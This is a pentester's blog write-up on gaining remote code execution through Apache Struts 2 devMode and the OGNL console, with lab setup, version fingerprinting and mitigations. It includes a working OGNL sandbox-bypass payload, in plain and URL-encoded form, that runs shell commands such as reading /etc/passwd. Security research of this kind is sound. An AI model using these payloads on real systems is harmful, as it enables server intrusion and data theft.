During a recent web application pentest of an application built with Apache Struts 2, I stumbled across an interesting error message while running some scans with Burp Intruder.
You are seeing this page because development mode is enabled. Development mode, or devMode, enables extra
debugging behaviors and reports to assist developers. To disable this mode, set:
<pre>
struts.devMode=false
</pre>
in your <code>WEB-INF/classes/struts.properties</code> file.
After some quick Googling, I found this blog post which suggested the target Struts 2 application was running in “Development Mode” (or devMode
).
devMode is a non default configuration that provides additional debugging information and is enabled on a per project basis by setting struts.devMode
to true
inside the project’s configuration file (struts.xml
).
<constant name="struts.devMode" value="true" />
The blog post also referenced the OGNL Console
which provides an interactive page for executing OGNL expressions. Navigating to https://{target}/struts/webconsole.html
showed the below page.
This looked interesting, however, I was encountering a strange issue, I couldn’t enter any commands into the console !
In order to understand the issue better I decided to setup my own lab for some further debugging.
Lab setup
Luckily there is no end of preconfigured Docker containers showcasing all of the various Struts 2 vulnerabilities (and there are a lot of them !).
Note The numbers listed here (
s2-032
,s2-021
etc) are not version numbers of Apache Struts but refer to Apache Struts security bulletin numbers.A security bulletin may affect multiple versions (for example
s2-032
affects Struts versions 2.3.20 - 2.3.28).
Although I did not know exactly what version my target was running, with Docker I figured I could quickly cycle through Struts 2 containers until I found one that matched the behavior of the target.
I decided to begin with s2-016
and launched a container with the below commands
docker pull medicean/vulapps:s_struts2_s2-016
docker run -d -p 80:8080 medicean/vulapps:s_struts2_s2-016
With the container running, loading http://127.0.0.1:8090/struts2/webconsole.html
showed me a familiar page.
This was strange to me as my initial assumption was that the OGNL Console should only be accessible when devMode is enabled (which as I mentioned is off by default).
Viewing the contents of the file /usr/local/tomcat/webapps/ROOT/WEB-INF/classes/struts.xml
in my container, I confirmed that devMode was indeed disabled, yet I was still able to access the OGNL Console.
As it turns out, the webconsole.html
file is a static resource that is accessible by default regardless of whether or not devMode is enabled.
This is the case up until Struts 2 version 2.3.31 where access to the webconsole.html
file is blocked unless devMode is enabled.
In order to have my lab environment match the target, I would need to rebuild the container with devMode enabled.
Using the below commands I extracted the bundled sample war file, enabled devMode and then rebuilt the container.
# Clone the Github repo
git clone https://github.com/Medicean/VulApps.git
# Navigate to the s2-016 directory
cd /root/VulApps/s/struts2/s2-016
# Make a temp directory
mkdir tmp; cd tmp
# Extract the war file
jar -xvf ../s2-016.war
# Modify "WEB-INF/classes/struts.xml" and change devmode to true
# Repackage the war file
jar -cvf s2-016.war *
# Overwrite the original
cp s2-016.war ..
# And build the container
cd ..
docker build .
With devMode enabled, triggering an error by accessing http://127.0.0.1:8090/doesnotexist.action
presented a similar message to the one returned from the target.
With my lab now setup I was able to move onto debugging the OGNL console issue.
Fixing the OGNL console
Note I should mention that you do not need a working OGNL console in order to execute OGNL commands when devMode is set to
true
(it just provides a pretty interface for doing so) however, I was curious as to why the OGNL console was broken so I decided to investigate further.
Loading http://127.0.0.1:8090/struts2/webconsole.html
and opening up the Firefox developer console, we see that after submitting an OGNL command an error is thrown inside webconsole.js
stating that window.opener
is null.
Reviewing the relevant lines from webconsole.js
we see the below.
function keyEvent(event, url) {
switch (event.keyCode) {
case 13:
var the_shell_command = document.getElementById('wc-command').value;
if (the_shell_command) {
commands_history[commands_history.length] = the_shell_command;
history_pointer = commands_history.length;
var the_url = url ? url : window.opener.location.pathname;
jQuery.post(the_url, jQuery("#wc-form").serialize(), function (data) {
printResult(data);
});
}
First the value of window.opener.location.pathname
is assigned to the variable the_url
.
var the_url = url ? url : window.opener.location.pathname;
This variable then becomes the destination where our form data containing the OGNL command is sent via POST request.
jQuery.post(the_url, jQuery("#wc-form").serialize(), function (data) {
printResult(data);
The use of window.opener
gives us a clue as to how the OGNL console is intended to be interacted with.
window.opener
refers to the parent window that loaded the resource, this indicates that the OGNL console is expecting to be loaded via a call to window.open
.
As we have loaded the OGNL console directly by force browsing to http://127.0.0.1/struts2/webconsole.html
there is no parent window to reference and window.opener
remains null
If we take a look at the documentation from Apache regarding the Debugging Interceptor
(which is where the OGNL console proxies our requests) we see that the following parameters xml
, console
, command
and browser
are available using the format http://localhost:8080/{devMode_endpoint}.action?debug={parameter}
After appending ?debug=console
to our Struts 2 endpoint configured with devMode enabled http://127.0.0.1:8090/memoindex.action?debug=console
the below HTTP response is returned.
This causes a new browser window to be opened with the window.opener.location.pathname
variable set correctly to the devMode endpoint.
During my lab setup I noticed that the source code of the webconsole.js
file changes slightly depending on the version of Struts 2 in use (this would prove to be useful later on).
Older versions make use of the dojo.js
library to issue the POST request containing the OGNL commands.
Attempting to use the OGNL console with these older version results in the below error dojo.js is not defined
.
To fix this we can modify the webconsole.js
file in the browser to use the jQuery library instead (which is what later versions use).
Lines 64 to 69 in webconsole.js
var the_url = url ? url : window.opener.location.pathname;
dojo.io.bind({
url: the_url,
formNode: dojo.byId("wc-form"),
load: function(type, data, evt){ printResult(data); },
mimetype: "text/plain"
});
Are replaced with
var the_url = url ? url : window.opener.location.pathname;
jQuery.post(the_url, jQuery("#wc-form").serialize(), function (data) {
printResult(data);
});
Once all these conditions are met we can interact with the OGNL console to evaluate arbitrary OGNL commands.
In the screenshot below we can see the result of a test 1+1
OGNL command.
The resulting POST request for this command looks like this.
POST /memoindex.action HTTP/1.1
Host: 127.0.0.1:8090
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
debug=command&expression=1%2b1
Abusing OGNL for RCE
OGNL is an expression language that allows for getting and setting properties of Java objects.
Most of what you can do in Java is possible in OGNL, however, Struts 2 contains an internal Security Manager which blocks access to certain Java classes and packages, acting as a sort of sandbox for OGNL.
In later Struts 2 versions, a blacklist of classes and packages is also introduced. The list of blacklisted classes can be found in struts-default.xml
under struts.devMode.excludedClasses
and struts.devMode.excludedPackageNames
.
<constant name="struts.devMode.excludedClasses"
value="
java.lang.Object,
java.lang.Runtime,
java.lang.System,
java.lang.Class,
java.lang.ClassLoader,
java.lang.Shutdown,
java.lang.ProcessBuilder,
sun.misc.Unsafe" />
<constant name="struts.devMode.excludedPackageNames"
value="
ognl.,
java.io.,
java.net.,
java.nio.,
javax.,
freemarker.core.,
freemarker.template.,
freemarker.ext.jsp.,
freemarker.ext.rhino.,
sun.misc.,
sun.reflect.,
javassist.,
org.apache.velocity.,
org.objectweb.asm.,
org.springframework.context.,
com.opensymphony.xwork2.inject.,
com.opensymphony.xwork2.ognl.,
com.opensymphony.xwork2.security.,
com.opensymphony.xwork2.util." />
Depending on the version of Struts 2 in use, a number of bypasses exist that allow for execution of OGNL code without restriction.
A fantastic summary of these bypasses and the Struts 2 versions they affect can be found here.
Determining the target’s Struts 2 version
As I mentioned earlier, depending on the Struts 2 version in use the content of the webconsole.js
file varies slightly. We can use this information to our advantage to help identify the target’s Struts 2 version.
Looking at the tags on the Apache Struts Github history, we see that the version of the webconsole.js
file as it appears on the target was introduced with STRUTS_2_1_1
.
This version is then later modified and tagged with 2_5_BETA2
.
Based on this observation we know that the target Struts 2 version must be somewhere between 2.1.1
and 2.5.2
.
Reading through the OGNL bypasses in the link above, we can see a number of OGNL security bypasses that will work on the below Struts 2 versions.
- Below 2.3.20
- 2.3.20 - 2.3.29
- 2.3.30 - 2.5.15
- 2.5.16
Although we do not know the exact Struts 2 version in use on the target, we can iterate through each of the bypasses listed in the link above (for versions 2.1.1
through to 2.5.2
) until we find one that works.
In order to debug the OGNL sandbox escape separately to our command execution payload, we can first try to call a method which should be blocked to determine if the sandbox escape was successful before continuing with our payload.
Incidentally, the OGNL Console provides a handy interface for debugging our payloads.
Struts 2 (Before 2.3.20)
As the class blacklist was not introduced until after 2.3.20, we can simply try to instantiate an arbitrary class and observe the result.
#test=new java.lang.ProcessBuilder('id')
In this case null
is returned, so we can assume the version in use here is later than 2.3.20.
Struts 2 (2.3.20 - 2.3.29)
From 2.3.20 onwards the blacklist is introduced preventing access to certain classes and packages.
We can first try to bypass the OGNL security manager by reassigning the #_memberAccess
object to DefaultMemberAccess
. This object is less restrictive than memberAccess
and allows us to construct arbitrary classes and access their public methods.
We can then attempt to call a method on one of the blacklisted classes (such as java.lang.Runtime
).
#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,
@java.lang.Runtime@getRuntime().availableProcessors()
This time we are successful and are able to abuse the OGNL security bypass to call a method on a restricted class !
Based on this result, we can assume the target Struts 2 version is somewhere between 2.3.20 and 2.3.29.
Now that we have escaped the OGNL sandbox, we can continue building the rest of our payload to execute arbitrary Java code.
After some testing in the lab, I settled on the below payload
#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS, # bypass security manager by reassigning the #_memberAccess object to DefaultMemberAccess (Struts 2 versions 2.3.20 - 2.3.29)
#cmd="cat /etc/passwd",#cmds={"/bin/bash","-c",#cmd}, # build our command
#p=new java.lang.ProcessBuilder(#cmds), # pass our commands args to processBuilder
#p.redirectErrorStream(true), # ensure we capture stderr output from our command
#process=#p.start(), # start the process
#b=#process.getInputStream(), # get the process input stream (the commands output)
#c=new java.io.InputStreamReader(#b), # create inputStream for process input stream
#d=new java.io.BufferedReader(#c), # create bufferedReader for process input stream
#e=new char[50000], # allocate char array
#d.read(#e), # read 50000 bytes from process input stream
#rw=@org.apache.struts2.ServletActionContext@getResponse().getWriter(), # Get a handle to the getWriter object to write data into the HTTP response
#rw.println(#e), # write the InputStream of our command (the commands output) into the response
#rw.flush() # flush any remaining data
With newlines and comments removed and data converted to Unicode we get the following
%23_memberAccess%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%2C%23cmd%3D%22cat%20%2Fetc%2Fpasswd%22%2C%23cmds%3D%7B%22%2Fbin%2Fbash%22%2C%22-c%22%2C%23cmd%7D%2C%23p%3Dnew%20java.lang.ProcessBuilder%28%23cmds%29%2C%23p.redirectErrorStream%28true%29%2C%23process%3D%23p.start%28%29%2C%23b%3D%23process.getInputStream%28%29%2C%23c%3Dnew%20java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew%20java.io.BufferedReader%28%23c%29%2C%23e%3Dnew%20char%5B50000%5D%2C%23d.read%28%23e%29%2C%23rw%3D%40org.apache.struts2.ServletActionContext%40getResponse%28%29.getWriter%28%29%2C%23rw.println%28%23e%29%2C%23rw.flush%28%29
After confirming the payload was working as expected, I pointed Burp at the target server and sent off the below request
And was greeted with the below response.
Mitigations
Ensure devMode is disabled for all public facing Struts 2 applications. The below setting should be set within the struts.xml
file for all production deployments.
<constant name ="struts.devMode" value="false" />
Summary / FAQ
Is having the OGNL console exposed externally a security vulnerability ?
No, however its presence may indicate an outdated version of Apache Struts 2 is in use. Access to the OGNL console was removed by default starting from version 2.3.31, unless devMode is enabled (see here).
Does the presence of the webconsole.html
file on the server indicate that devMode is enabled for any Struts endpoints ?
No, by default in versions of Apache Struts 2 less than 2.3.31 the
webconsole.html
is accessible regardless of whether or not devMode is enabled for any Struts endpoints.
How do I determine if a given Struts 2 endpoint is configured with devMode enabled
By appending
?debug=console
to a given struts endpoint and observing the HTTP response, if devMode is enabled you will receive the below in the HTTP response.
<script type="text/javascript">
var baseUrl = "/struts";
window.open(baseUrl+"/webconsole.html", 'OGNL Console','width=500,height=450,status=no,toolbar=no,menubar=no');
</script>
If devMode is enabled for a struts endpoint, is access to the OGNL console required in order to execute OGNL commands ?
No, arbitrary OGNL commands can still be executed by appending
?debug=command&expression=OGNL_COMMAND
to the endpoint with devMode enabled.
References
- https://securitylab.github.com/research/ognl-apache-struts-exploit-CVE-2018-11776
- https://www.pwntester.com/blog/2014/01/21/struts-2-devmode-an-ognl-backdoor
- https://titanwolf.org/Network/Articles/Article?AID=af59a13a-6e57-4c9b-b6cc-1890da2db855#gsc.tab=0
- https://waf.ninja/struts2-vulnerability-evolution/
- https://pankajupadhyay.in/tag/struts-devmode/